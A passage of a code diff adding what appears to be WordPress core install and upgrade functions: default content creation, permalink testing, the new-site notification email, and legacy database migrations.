+		'post_excerpt' => '',
+		'post_title' => __('Hello world!'),
+		/* translators: Default post slug */
+		'post_name' => sanitize_title( _x('hello-world', 'Default post slug') ),
+		'post_modified' => $now,
+		'post_modified_gmt' => $now_gmt,
+		'guid' => $first_post_guid,
+		'comment_count' => 1,
+		'to_ping' => '',
+		'pinged' => '',
+		'post_content_filtered' => ''
+	));
+	$wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => $cat_tt_id, 'object_id' => 1) );
+
+	// Default comment
+	if ( is_multisite() ) {
+		$first_comment_author = get_site_option( 'first_comment_author' );
+		$first_comment_email = get_site_option( 'first_comment_email' );
+		$first_comment_url = get_site_option( 'first_comment_url', network_home_url() );
+		$first_comment = get_site_option( 'first_comment' );
+	}
+
+	$first_comment_author = ! empty( $first_comment_author ) ? $first_comment_author : __( 'A WordPress Commenter' );
+	$first_comment_email = ! empty( $first_comment_email ) ? $first_comment_email : 'wapuu@wordpress.example';
+	$first_comment_url = ! empty( $first_comment_url ) ? $first_comment_url : 'https://wordpress.org/';
+	$first_comment = ! empty( $first_comment ) ? $first_comment :  __( 'Hi, this is a comment.
+To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
+Commenter avatars come from <a href="https://gravatar.com">Gravatar</a>.' );
+	$wpdb->insert( $wpdb->comments, array(
+		'comment_post_ID' => 1,
+		'comment_author' => $first_comment_author,
+		'comment_author_email' => $first_comment_email,
+		'comment_author_url' => $first_comment_url,
+		'comment_date' => $now,
+		'comment_date_gmt' => $now_gmt,
+		'comment_content' => $first_comment
+	));
+
+	// First Page
+	if ( is_multisite() )
+		$first_page = get_site_option( 'first_page' );
+
+	if ( empty( $first_page ) ) {
+		$first_page = "<!-- wp:paragraph -->\n<p>";
+		/* translators: first page content */
+		$first_page .= __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" );
+		$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";
+
+		$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
+		/* translators: first page content */
+		$first_page .= __( "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)" );
+		$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";
+
+		$first_page .= "<!-- wp:paragraph -->\n<p>";
+		/* translators: first page content */
+		$first_page .= __( '...or something like this:' );
+		$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";
+
+		$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
+		/* translators: first page content */
+		$first_page .= __( 'The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.' );
+		$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";
+
+		$first_page .= "<!-- wp:paragraph -->\n<p>";
+		$first_page .= sprintf(
+			/* translators: first page content, %s: site admin URL */
+			__( 'As a new WordPress user, you should go to <a href="%s">your dashboard</a> to delete this page and create new pages for your content. Have fun!' ),
+			admin_url()
+		);
+		$first_page .= "</p>\n<!-- /wp:paragraph -->";
+	}
+
+	$first_post_guid = get_option('home') . '/?page_id=2';
+	$wpdb->insert( $wpdb->posts, array(
+		'post_author' => $user_id,
+		'post_date' => $now,
+		'post_date_gmt' => $now_gmt,
+		'post_content' => $first_page,
+		'post_excerpt' => '',
+		'comment_status' => 'closed',
+		'post_title' => __( 'Sample Page' ),
+		/* translators: Default page slug */
+		'post_name' => __( 'sample-page' ),
+		'post_modified' => $now,
+		'post_modified_gmt' => $now_gmt,
+		'guid' => $first_post_guid,
+		'post_type' => 'page',
+		'to_ping' => '',
+		'pinged' => '',
+		'post_content_filtered' => ''
+	));
+	$wpdb->insert( $wpdb->postmeta, array( 'post_id' => 2, 'meta_key' => '_wp_page_template', 'meta_value' => 'default' ) );
+
+	// Privacy Policy page
+	if ( is_multisite() ) {
+		// Disable by default unless the suggested content is provided.
+		$privacy_policy_content = get_site_option( 'default_privacy_policy_content' );
+	} else {
+		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
+			include_once( ABSPATH . 'wp-admin/includes/misc.php' );
+		}
+
+		$privacy_policy_content = WP_Privacy_Policy_Content::get_default_content();
+	}
+
+	if ( ! empty( $privacy_policy_content ) ) {
+		$privacy_policy_guid = get_option( 'home' ) . '/?page_id=3';
+
+		$wpdb->insert(
+			$wpdb->posts, array(
+				'post_author'           => $user_id,
+				'post_date'             => $now,
+				'post_date_gmt'         => $now_gmt,
+				'post_content'          => $privacy_policy_content,
+				'post_excerpt'          => '',
+				'comment_status'        => 'closed',
+				'post_title'            => __( 'Privacy Policy' ),
+				/* translators: Privacy Policy page slug */
+				'post_name'             => __( 'privacy-policy' ),
+				'post_modified'         => $now,
+				'post_modified_gmt'     => $now_gmt,
+				'guid'                  => $privacy_policy_guid,
+				'post_type'             => 'page',
+				'post_status'           => 'draft',
+				'to_ping'               => '',
+				'pinged'                => '',
+				'post_content_filtered' => '',
+			)
+		);
+		$wpdb->insert(
+			$wpdb->postmeta, array(
+				'post_id'    => 3,
+				'meta_key'   => '_wp_page_template',
+				'meta_value' => 'default',
+			)
+		);
+		update_option( 'wp_page_for_privacy_policy', 3 );
+	}
+
+	// Set up default widgets for default theme.
+	update_option( 'widget_search', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) );
+	update_option( 'widget_recent-posts', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_recent-comments', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_archives', array ( 2 => array ( 'title' => '', 'count' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_categories', array ( 2 => array ( 'title' => '', 'count' => 0, 'hierarchical' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_meta', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) );
+	update_option( 'sidebars_widgets', array( 'wp_inactive_widgets' => array(), 'sidebar-1' => array( 0 => 'search-2', 1 => 'recent-posts-2', 2 => 'recent-comments-2', 3 => 'archives-2', 4 => 'categories-2', 5 => 'meta-2' ), 'array_version' => 3 ) );
+	if ( ! is_multisite() )
+		update_user_meta( $user_id, 'show_welcome_panel', 1 );
+	elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) )
+		update_user_meta( $user_id, 'show_welcome_panel', 2 );
+
+	if ( is_multisite() ) {
+		// Flush rules to pick up the new page.
+		$wp_rewrite->init();
+		$wp_rewrite->flush_rules();
+
+		$user = new WP_User($user_id);
+		$wpdb->update( $wpdb->options, array('option_value' => $user->user_email), array('option_name' => 'admin_email') );
+
+		// Remove all perms except for the login user.
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'user_level') );
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'capabilities') );
+
+		// Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.) TODO: Get previous_blog_id.
+		if ( !is_super_admin( $user_id ) && $user_id != 1 )
+			$wpdb->delete( $wpdb->usermeta, array( 'user_id' => $user_id , 'meta_key' => $wpdb->base_prefix.'1_capabilities' ) );
+	}
+}
+endif;
+
+/**
+ * Maybe enable pretty permalinks on installation.
+ *
+ * If after enabling pretty permalinks don't work, fallback to query-string permalinks.
+ *
+ * @since 4.2.0
+ *
+ * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
+ *
+ * @return bool Whether pretty permalinks are enabled. False otherwise.
+ */
+function wp_install_maybe_enable_pretty_permalinks() {
+	global $wp_rewrite;
+
+	// Bail if a permalink structure is already enabled.
+	if ( get_option( 'permalink_structure' ) ) {
+		return true;
+	}
+
+	/*
+	 * The Permalink structures to attempt.
+	 *
+	 * The first is designed for mod_rewrite or nginx rewriting.
+	 *
+	 * The second is PATHINFO-based permalinks for web server configurations
+	 * without a true rewrite module enabled.
+	 */
+	$permalink_structures = array(
+		'/%year%/%monthnum%/%day%/%postname%/',
+		'/index.php/%year%/%monthnum%/%day%/%postname%/'
+	);
+
+	foreach ( (array) $permalink_structures as $permalink_structure ) {
+		$wp_rewrite->set_permalink_structure( $permalink_structure );
+
+		/*
+	 	 * Flush rules with the hard option to force refresh of the web-server's
+	 	 * rewrite config file (e.g. .htaccess or web.config).
+	 	 */
+		$wp_rewrite->flush_rules( true );
+
+		$test_url = '';
+
+		// Test against a real WordPress Post
+		$first_post = get_page_by_path( sanitize_title( _x( 'hello-world', 'Default post slug' ) ), OBJECT, 'post' );
+		if ( $first_post ) {
+			$test_url = get_permalink( $first_post->ID );
+		}
+
+		/*
+	 	 * Send a request to the site, and check whether
+	 	 * the 'x-pingback' header is returned as expected.
+	 	 *
+	 	 * Uses wp_remote_get() instead of wp_remote_head() because web servers
+	 	 * can block head requests.
+	 	 */
+		$response          = wp_remote_get( $test_url, array( 'timeout' => 5 ) );
+		$x_pingback_header = wp_remote_retrieve_header( $response, 'x-pingback' );
+		$pretty_permalinks = $x_pingback_header && $x_pingback_header === get_bloginfo( 'pingback_url' );
+
+		if ( $pretty_permalinks ) {
+			return true;
+		}
+	}
+
+	/*
+	 * If it makes it this far, pretty permalinks failed.
+	 * Fallback to query-string permalinks.
+	 */
+	$wp_rewrite->set_permalink_structure( '' );
+	$wp_rewrite->flush_rules( true );
+
+	return false;
+}
+
+if ( !function_exists('wp_new_blog_notification') ) :
+/**
+ * Notifies the site admin that the setup is complete.
+ *
+ * Sends an email with wp_mail to the new administrator that the site setup is complete,
+ * and provides them with a record of their login credentials.
+ *
+ * @since 2.1.0
+ *
+ * @param string $blog_title Site title.
+ * @param string $blog_url   Site url.
+ * @param int    $user_id    User ID.
+ * @param string $password   User's Password.
+ */
+function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password) {
+	$user = new WP_User( $user_id );
+	$email = $user->user_email;
+	$name = $user->user_login;
+	$login_url = wp_login_url();
+	/* translators: New site notification email. 1: New site URL, 2: User login, 3: User password or password reset link, 4: Login URL */
+	$message = sprintf( __( "Your new WordPress site has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+Log in here: %4\$s
+
+We hope you enjoy your new site. Thanks!
+
+--The WordPress Team
+https://wordpress.org/
+"), $blog_url, $name, $password, $login_url );
+
+	@wp_mail($email, __('New WordPress Site'), $message);
+}
+endif;
+
+if ( !function_exists('wp_upgrade') ) :
+/**
+ * Runs WordPress Upgrade functions.
+ *
+ * Upgrades the database if needed during a site update.
+ *
+ * @since 2.1.0
+ *
+ * @global int  $wp_current_db_version
+ * @global int  $wp_db_version
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function wp_upgrade() {
+	global $wp_current_db_version, $wp_db_version, $wpdb;
+
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date. Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	if ( ! is_blog_installed() )
+		return;
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	pre_schema_upgrade();
+	make_db_current_silent();
+	upgrade_all();
+	if ( is_multisite() && is_main_site() )
+		upgrade_network();
+	wp_cache_flush();
+
+	if ( is_multisite() ) {
+		$site_id = get_current_blog_id();
+
+		if ( $wpdb->get_row( $wpdb->prepare( "SELECT blog_id FROM {$wpdb->blog_versions} WHERE blog_id = %d", $site_id ) ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->blog_versions} SET db_version = %d WHERE blog_id = %d", $wp_db_version, $site_id ) );
+		} else {
+			$wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->blog_versions} ( `blog_id` , `db_version` , `last_updated` ) VALUES ( %d, %d, NOW() );", $site_id, $wp_db_version ) );
+		}
+	}
+
+	/**
+	 * Fires after a site is fully upgraded.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int $wp_db_version         The new $wp_db_version.
+	 * @param int $wp_current_db_version The old (current) $wp_db_version.
+	 */
+	do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
+}
+endif;
+
+/**
+ * Functions to be called in installation and upgrade scripts.
+ *
+ * Contains conditional checks to determine which upgrade scripts to run,
+ * based on database version and WP version being updated-to.
+ *
+ * @ignore
+ * @since 1.0.1
+ *
+ * @global int $wp_current_db_version
+ * @global int $wp_db_version
+ */
+function upgrade_all() {
+	global $wp_current_db_version, $wp_db_version;
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date. Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	// If the version is not set in the DB, try to guess the version.
+	if ( empty($wp_current_db_version) ) {
+		$wp_current_db_version = 0;
+
+		// If the template option exists, we have 1.5.
+		$template = __get_option('template');
+		if ( !empty($template) )
+			$wp_current_db_version = 2541;
+	}
+
+	if ( $wp_current_db_version < 6039 )
+		upgrade_230_options_table();
+
+	populate_options();
+
+	if ( $wp_current_db_version < 2541 ) {
+		upgrade_100();
+		upgrade_101();
+		upgrade_110();
+		upgrade_130();
+	}
+
+	if ( $wp_current_db_version < 3308 )
+		upgrade_160();
+
+	if ( $wp_current_db_version < 4772 )
+		upgrade_210();
+
+	if ( $wp_current_db_version < 4351 )
+		upgrade_old_slugs();
+
+	if ( $wp_current_db_version < 5539 )
+		upgrade_230();
+
+	if ( $wp_current_db_version < 6124 )
+		upgrade_230_old_tables();
+
+	if ( $wp_current_db_version < 7499 )
+		upgrade_250();
+
+	if ( $wp_current_db_version < 7935 )
+		upgrade_252();
+
+	if ( $wp_current_db_version < 8201 )
+		upgrade_260();
+
+	if ( $wp_current_db_version < 8989 )
+		upgrade_270();
+
+	if ( $wp_current_db_version < 10360 )
+		upgrade_280();
+
+	if ( $wp_current_db_version < 11958 )
+		upgrade_290();
+
+	if ( $wp_current_db_version < 15260 )
+		upgrade_300();
+
+	if ( $wp_current_db_version < 19389 )
+		upgrade_330();
+
+	if ( $wp_current_db_version < 20080 )
+		upgrade_340();
+
+	if ( $wp_current_db_version < 22422 )
+		upgrade_350();
+
+	if ( $wp_current_db_version < 25824 )
+		upgrade_370();
+
+	if ( $wp_current_db_version < 26148 )
+		upgrade_372();
+
+	if ( $wp_current_db_version < 26691 )
+		upgrade_380();
+
+	if ( $wp_current_db_version < 29630 )
+		upgrade_400();
+
+	if ( $wp_current_db_version < 33055 )
+		upgrade_430();
+
+	if ( $wp_current_db_version < 33056 )
+		upgrade_431();
+
+	if ( $wp_current_db_version < 35700 )
+		upgrade_440();
+
+	if ( $wp_current_db_version < 36686 )
+		upgrade_450();
+
+	if ( $wp_current_db_version < 37965 )
+		upgrade_460();
+
+	if ( $wp_current_db_version < 43764 )
+		upgrade_500();
+
+	maybe_disable_link_manager();
+
+	maybe_disable_automattic_widgets();
+
+	update_option( 'db_version', $wp_db_version );
+	update_option( 'db_upgraded', true );
+}
+
+/**
+ * Execute changes made in WordPress 1.0.
+ *
+ * @ignore
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_100() {
+	global $wpdb;
+
+	// Get the title and ID of every post, post_name to check if it already has a value
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''");
+	if ($posts) {
+		foreach ($posts as $post) {
+			if ('' == $post->post_name) {
+				$newtitle = sanitize_title($post->post_title);
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID) );
+			}
+		}
+	}
+
+	$categories = $wpdb->get_results("SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories");
+	foreach ($categories as $category) {
+		if ('' == $category->category_nicename) {
+			$newtitle = sanitize_title($category->cat_name);
+			$wpdb->update( $wpdb->categories, array('category_nicename' => $newtitle), array('cat_ID' => $category->cat_ID) );
+		}
+	}
+
+	$sql = "UPDATE $wpdb->options
+		SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
+		WHERE option_name LIKE %s
+		AND option_value LIKE %s";
+	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );
+
+	$done_ids = $wpdb->get_results("SELECT DISTINCT post_id FROM $wpdb->post2cat");
+	if ($done_ids) :
+		$done_posts = array();
+		foreach ($done_ids as $done_id) :
+			$done_posts[] = $done_id->post_id;
+		endforeach;
+		$catwhere = ' AND ID NOT IN (' . implode(',', $done_posts) . ')';
+	else:
+		$catwhere = '';
+	endif;
+
+	$allposts = $wpdb->get_results("SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere");
+	if ($allposts) :
+		foreach ($allposts as $post) {
+			// Check to see if it's already been imported
+			$cat = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category) );
+			if (!$cat && 0 != $post->post_category) { // If there's no result
+				$wpdb->insert( $wpdb->post2cat, array('post_id' => $post->ID, 'category_id' => $post->post_category) );
+			}
+		}
+	endif;
+}
+
+/**
+ * Execute changes made in WordPress 1.0.1.
+ *
+ * @ignore
+ * @since 1.0.1
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_101() {
+	global $wpdb;
+
+	// Clean up indices, add a few
+	add_clean_index($wpdb->posts, 'post_name');
+	add_clean_index($wpdb->posts, 'post_status');
+	add_clean_index($wpdb->categories, 'category_nicename');
+	add_clean_index($wpdb->comments, 'comment_approved');
+	add_clean_index($wpdb->comments, 'comment_post_ID');
+	add_clean_index($wpdb->links , 'link_category');
+	add_clean_index($wpdb->links , 'link_visible');
+}
+
+/**
+ * Execute changes made in WordPress 1.2.
+ *
+ * @ignore
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_110() {
+	global $wpdb;
+
+	// Set user_nicename.
+	$users = $wpdb->get_results("SELECT ID, user_nickname, user_nicename FROM $wpdb->users");
+	foreach ($users as $user) {
+		if ('' == $user->user_nicename) {
+			$newname = sanitize_title($user->user_nickname);
+			$wpdb->update( $wpdb->users, array('user_nicename' => $newname), array('ID' => $user->ID) );
+		}
+	}
+
+	$users = $wpdb->get_results("SELECT ID, user_pass from $wpdb->users");
+	foreach ($users as $row) {
+		if (!preg_match('/^[A-Fa-f0-9]{32}$/', $row->user_pass)) {
+			$wpdb->update( $wpdb->users, array('user_pass' => md5($row->user_pass)), array('ID' => $row->ID) );
+		}
+	}
+
+	// Get the GMT offset, we'll use that later on
+	$all_options = get_alloptions_110();
+
+	$time_difference = $all_options->time_difference;
+
+		$server_time = time()+date('Z');
+	$weblogger_time = $server_time + $time_difference * HOUR_IN_SECONDS;
+	$gmt_time = time();
+
+	$diff_gmt_server = ($gmt_time - $server_time) / HOUR_IN_SECONDS;
+	$diff_weblogger_server = ($weblogger_time - $server_time) / HOUR_IN_SECONDS;
+	$diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server;
+	$gmt_offset = -$diff_gmt_weblogger;
+
+	// Add a gmt_offset option, with value $gmt_offset
+	add_option('gmt_offset', $gmt_offset);
+
+	// Check if we already set the GMT fields (if we did, then
+	// MAX(post_date_gmt) can't be '0000-00-00 00:00:00'
+	// <michel_v> I just slapped myself silly for not thinking about it earlier
+	$got_gmt_fields = ! ($wpdb->get_var("SELECT MAX(post_date_gmt) FROM $wpdb->posts") == '0000-00-00 00:00:00');
+
+	if (!$got_gmt_fields) {
+
+		// Add or subtract time to all dates, to get GMT dates
+		$add_hours = intval($diff_gmt_weblogger);
+		$add_minutes = intval(60 * ($diff_gmt_weblogger - $add_hours));
+		$wpdb->query("UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified = post_date");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'");
+		$wpdb->query("UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 1.5.
+ *
+ * @ignore
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_130() {
+	global $wpdb;
+
+	// Remove extraneous backslashes.
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts");
+	if ($posts) {
+		foreach ($posts as $post) {
+			$post_content = addslashes(deslash($post->post_content));
+			$post_title = addslashes(deslash($post->post_title));
+			$post_excerpt = addslashes(deslash($post->post_excerpt));
+			if ( empty($post->guid) )
+				$guid = get_permalink($post->ID);
+			else
+				$guid = $post->guid;
+
+			$wpdb->update( $wpdb->posts, compact('post_title', 'post_content', 'post_excerpt', 'guid'), array('ID' => $post->ID) );
+
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$comments = $wpdb->get_results("SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments");
+	if ($comments) {
+		foreach ($comments as $comment) {
+			$comment_content = deslash($comment->comment_content);
+			$comment_author = deslash($comment->comment_author);
+
+			$wpdb->update($wpdb->comments, compact('comment_content', 'comment_author'), array('comment_ID' => $comment->comment_ID) );
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$links = $wpdb->get_results("SELECT link_id, link_name, link_description FROM $wpdb->links");
+	if ($links) {
+		foreach ($links as $link) {
+			$link_name = deslash($link->link_name);
+			$link_description = deslash($link->link_description);
+
+			$wpdb->update( $wpdb->links, compact('link_name', 'link_description'), array('link_id' => $link->link_id) );
+		}
+	}
+
+	$active_plugins = __get_option('active_plugins');
+
+	/*
+	 * If plugins are not stored in an array, they're stored in the old
+	 * newline separated format. Convert to new format.
+	 */
+	if ( !is_array( $active_plugins ) ) {
+		$active_plugins = explode("\n", trim($active_plugins));
+		update_option('active_plugins', $active_plugins);
+	}
+
+	// Obsolete tables
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options');
+
+	// Update comments table to use comment_type
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'");
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'");
+
+	// Some versions have multiple duplicate option_name rows with the same values
+	$options = $wpdb->get_results("SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name");
+	foreach ( $options as $option ) {
+		if ( 1 != $option->dupes ) { // Could this be done in the query?
+			$limit = $option->dupes - 1;
+			$dupe_ids = $wpdb->get_col( $wpdb->prepare("SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit) );
+			if ( $dupe_ids ) {
+				$dupe_ids = join($dupe_ids, ',');
+				$wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)");
+			}
+		}
+	}
+
+	make_site_theme();
+}
+
+/**
+ * Execute changes made in WordPress 2.0.
+ *
+ * @ignore
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global int  $wp_current_db_version
+ */
+function upgrade_160() {
+	global $wpdb, $wp_current_db_version;
+
+	populate_roles_160();
+
+	$users = $wpdb->get_results("SELECT * FROM $wpdb->users");
+	foreach ( $users as $user ) :
+		if ( !empty( $user->user_firstname ) )
+			update_user_meta( $user->ID, 'first_name', wp_slash($user->user_firstname) );
+		if ( !empty( $user->user_lastname ) )
+			update_user_meta( $user->ID, 'last_name', wp_slash($user->user_lastname) );
+		if ( !empty( $user->user_nickname ) )
+			update_user_meta( $user->ID, 'nickname', wp_slash($user->user_nickname) );
+		if ( !empty( $user->user_level ) )
+			update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
+		if ( !empty( $user->user_icq ) )
+			update_user_meta( $user->ID, 'icq', wp_slash($user->user_icq) );
+		if ( !empty( $user->user_aim ) )
+			update_user_meta( $user->ID, 'aim', wp_slash($user->user_aim) );
+		if ( !empty( $user->user_msn ) )
+			update_user_meta( $user->ID, 'msn', wp_slash($user->user_msn) );
+		if ( !empty( $user->user_yim ) )
+			update_user_meta( $user->ID, 'yim', wp_slash($user->user_icq) );
+		if ( !empty( $user->user_description ) )
+			update_user_meta( $user->ID, 'description', wp_slash($user->user_description) );
+
+		if ( isset( $user->user_idmode ) ):
+			$idmode = $user->user_idmode;
+			if ($idmode == 'nickname') $id = $user->user_nickname;
+			if ($idmode == 'login') $id = $user->user_login;
+			if ($idmode == 'firstname') $id = $user->user_firstname;
+			if ($idmode == 'lastname') $id = $user->user_lastname;
+			if ($idmode == 'namefl') $id = $user->user_firstname.' '.$user->user_lastname;
+			if ($idmode == 'namelf') $id = $user->user_lastname.' '.$user->user_firstname;
+			if (!$idmode) $id = $user->user_nickname;
+			$wpdb->update( $wpdb->users, array('display_name' => $id), array('ID' => $user->ID) );
+		endif;
+
+		// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
+		$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities');
+		if ( empty($caps) || defined('RESET_CAPS') ) {
+			$level = get_user_meta($user->ID, $wpdb->prefix . 'user_level', true);
+			$role = translate_level_to_role($level);
+			update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array($role => true) );
+		}
+
+	endforeach;
+	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_user_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->users DROP $old");
+	$wpdb->show_errors();
+
+	// Populate comment_count field of posts table.
+	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
+	if ( is_array( $comments ) )
+		foreach ($comments as $comment)
+			$wpdb->update( $wpdb->posts, array('comment_count' => $comment->c), array('ID' => $comment->comment_post_ID) );
+
+	/*
+	 * Some alpha versions used a post status of object instead of attachment
+	 * and put the mime type in post_type instead of post_mime_type.
+	 */
+	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
+		$objects = $wpdb->get_results("SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'");
+		foreach ($objects as $object) {
+			$wpdb->update( $wpdb->posts, array(	'post_status' => 'attachment',
+												'post_mime_type' => $object->post_type,
+												'post_type' => ''),
+										 array( 'ID' => $object->ID ) );
+
+			$meta = get_post_meta($object->ID, 'imagedata', true);
+			if ( ! empty($meta['file']) )
+				update_attached_file( $object->ID, $meta['file'] );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.1.
+ *
+ * @ignore
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global int  $wp_current_db_version
+ */
+function upgrade_210() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 3506 ) {
+		// Update status and type.
+		$posts = $wpdb->get_results("SELECT ID, post_status FROM $wpdb->posts");
+
+		if ( ! empty($posts) ) foreach ($posts as $post) {
+			$status = $post->post_status;
+			$type = 'post';
+
+			if ( 'static' == $status ) {
+				$status = 'publish';
+				$type = 'page';
+			} elseif ( 'attachment' == $status ) {
+				$status = 'inherit';
+				$type = 'attachment';
+			}
+
+			$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID) );
+		}
+	}
+
+	if ( $wp_current_db_version < 3845 ) {
+		populate_roles_210();
+	}
+
+	if ( $wp_current_db_version < 3531 ) {
+		// Give future posts a post_status of future.
+		$now = gmdate('Y-m-d H:i:59');
+		$wpdb->query ("UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'");
+
+		$posts = $wpdb->get_results("SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'");
+		if ( !empty($posts) )
+			foreach ( $posts as $post )
+				wp_schedule_single_event(mysql2date('U', $post->post_date, false), 'publish_future_post', array($post->ID));
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.3.
+ *
+ * @ignore
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global int  $wp_current_db_version
+ */
+function upgrade_230() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 5200 ) {
+		populate_roles_230();
+	}
+
+	// Convert categories to terms.
+	$tt_ids = array();
